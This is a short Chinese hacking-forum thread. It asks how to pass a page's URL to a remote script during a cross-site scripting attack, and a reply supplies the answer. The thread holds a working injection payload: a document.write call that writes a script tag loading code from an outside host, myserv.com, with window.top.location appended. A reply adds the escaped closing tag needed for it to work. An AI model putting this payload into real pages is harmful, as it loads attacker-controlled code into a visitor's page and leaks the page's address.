发新话题
打印

[讨论]关于在静态页面中如何动态引入一个js文件

[讨论]关于在静态页面中如何动态引入一个js文件

议题提交:玄猫
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

在进行某个跨站的应用时,需要根据当前页面的地址生成一个javascript的js文件,现在我就无法得到当前页面的地址,希望大家能帮助我。

我做过的尝试:1、用脚本写脚本<script>document.write("<script src=&#39;http://myserv.com/myjs.asp?" + window.top.location +"></script>")</script>
但是这种方法,浏览器会把双引号中的</script>当成脚本结束标记,失败。

2、在页面中用正常方法即<script src="http://myserv.com/myjs.asp"></script>插入文件,然后myjs.asp这个文件是动态的,检测如果是第一次访问,就<script>window.location="http://myserv.com/b.asp"></script>跳转到b.asp,b.asp负责获取来路地址,并写到一个文件中,然后跳回我写跨站代码的页面,然后对于myjs.asp就是第二次访问了,myjs.asp再从刚才写来路地址的文件中读出,然后生成js代码。
这种方法也失败了,因为b.asp根本不能获得来路地址。

感谢大家帮助我,这个问题困惑了我好久。
那些好像永远都不会停的雪。那一季永远不结束的冬天。

TOP

加转意符
复制内容到剪贴板
代码:
<script>document.write("<script src=&#39;http://mysev.com/myjs.asp?" + window.top.location + "&#39;><\/script>")</script>

TOP

感谢focn朋友,此问题已经解决。

解决方法,用脚本写脚本<script>document.write("<script src=&#39;http://myserv.com/myjs.asp?" + window.top.location +"><\/script>")</script>,其中使用专义符\对/号转义。
那些好像永远都不会停的雪。那一季永远不结束的冬天。

TOP

发新话题